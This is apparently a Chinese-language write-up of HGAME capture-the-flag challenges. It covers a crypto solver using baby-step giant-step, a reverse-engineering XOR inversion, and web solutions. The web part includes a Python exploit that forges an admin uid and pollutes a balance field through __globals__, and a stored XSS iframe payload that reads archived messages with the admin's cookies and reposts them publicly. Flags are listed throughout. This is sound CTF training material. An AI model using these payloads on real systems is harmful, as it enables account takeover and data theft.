print("[-] Error: Could not find a suitable eigenvalue.")
return
# 5. BSGS (Baby-step Giant-step) 寻找 m (k = k_p + m * p)
expected_m_bits = 660 - int(p).bit_length()
limit = 2**(expected_m_bits + 1) if expected_m_bits <= 55 else 2**48
m_step = int(isqrt(limit)) + 1
m_step = min(m_step, 2**24) # 防止内存溢出
num_giant_steps = (limit + m_step - 1) // m_step
print(f"[+] Starting BSGS to find m (baby steps: {m_step}, giant steps: {num_giant_steps})...")
baby_steps = {}
curr = K(1)
for i in range(m_step):
baby_steps[curr] = i
curr *= g
giant_stride = g**(-m_step)
curr_target = h
m = None
for j in range(num_giant_steps):
if curr_target in baby_steps:
m = j * m_step + baby_steps[curr_target]
break
curr_target *= giant_stride
if m is None:
print("[-] BSGS failed. Trying Sage's built-in discrete_log... (might hang)")
m = discrete_log(h, g)
print(f"[+] Found m: {m}")
k = k_p + m * int(p)
print(f"[+] Found full k: {k}")
# 6. 解密并获取 Flag
key = hashlib.md5(long_to_bytes(int(k))).digest()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = b64decode("Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE")
flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print("\n[+] FLAG:", flag.decode())
if __name__ == "__main__":
solve()
# hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}Web
魔理沙的魔法目录
抓个包,把POST的time改大,尝试几次就跳弹窗了

Vidarshop
先登录,根据题目发现需要管理员身份,改几个名字后发现uid是字母数字映射,
即a -> 1,b -> 2, ab -> 12……
可得admin的uid是1413914,抓包改了之后发现果然可以
之后就是利用管理员的身份改/api/buy接口的balance,但是直接改似乎不行?
根据hint,我们发现是一个原型链污染
因此有如下payload(先注册一下,账密分别是u,p)
import requests
url_base = "http://cloud-middle.hgame.vidar.club:31551"
u, p = "u", "p"
requests.post(url_base+"/register", json={"username":u, "password":p})
login = requests.post(url_base+"/login", json={"username":u, "password":p}).json()
admin_uid = "1413914"
headers = {
"Authorization": "Bearer " + login["token"],
"uid": admin_uid,
"Content-Type": "application/json"
}
payload = {"info":{"__func__":{"__globals__":{"balance":1000000000001}}}}
requests.post(url_base+"/api/update", headers=headers, json=payload)
r = requests.post(url_base+"/api/buy", headers=headers, json={"item":"flag"})
print(r.text)
#{"flag":"hgame{R3al4dmIN_MusT63Rich5f488cdadc}","success":true}(这是复现的flag,好像和原来的不太一样)
博丽神社的绘马挂
先登录进去,看到是类似留言板的题目,猜想是xxe/xxs
看一下源码,发现是一个xxs:
loadMessages函数通过/api/messages接口直接将获取的消息内容插入到页面中,没有做任何过滤和防护
那么直接输入payload,挂上绘马(悄悄话似乎没用)
<iframe src="/archives.html" onload="(async()=>{
const r=await fetch('/api/archives',{credentials:'include'});
const list=await r.json();
const text=list.map((m,i)=>`#${i+1} [${m.username||''}] ${m.timestamp||m.created_at||''}\n${m.content||''}`).join('\n\n-----\n\n');
await fetch('/api/messages',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:`[归档]\n${text}`,is_private:false})
});
})()"呼叫一下灵梦,让管理员能执行这段payload
然后就可以看到输出的flag了

Reverse
Marionette
打开 ELF 后,去字符串窗口(Shift+F12)找 OK、NO。
查看交叉引用,跳到main函数逻辑
我们注意到一个memcmp的比较逻辑(149行)

在 memcmp 调用的前后看一下参数

常量位于 0x405010,内容是:
8cadb48febfd6fae8660ad44c3c75a31
到这里可以确定:程序最终就是比较 16 字节块是否等于这个目标值。
我们尝试观察输入到中间态的变换。程序先把输入 hex 解析成 16 字节,再进入一段混淆函数。中间有大量 int3,但输入预处理本身是可读的。
在 IDA 文本视图里看这些位置附近的字节操作:
0x401f47 0x40206e 0x402116

这几段都会出现相同的模式:先取相邻两个字节,对它们进行异或,把结果写回后一个位置。
把这些片段连起来看,可以写成统一关系式。设原输入为 x[0..15],进入后续加密前的中间值为 y[0..15],则有:
y0 = x0 yi = x(i-1) ^ xi,其中 i = 1..15
这就是题面里那句 “echoes of my own past” 的含义:
对自身的部分进行异或。
现在我们已经有了倒数第二步的结果:
de731351e2d67abce313173404344404记这个 16 字节为 y。现在只要把y逆成x。
由上面的关系式可得公式:
x0 = y0
x1 = y0 ^ y1
x2 = y0 ^ y1 ^ y2
…………以此类推
写个简单脚本
y = bytes.fromhex("de731351e2d67abce313173404344404")
acc = 0
x = bytearray()
for b in y:
acc ^= b
x.append(acc)
print(x.hex())
# deadbeef0ddba11dfeedfacecafebabe得到最终结果
hgame{deadbeef0ddba11dfeedfacecafebabe}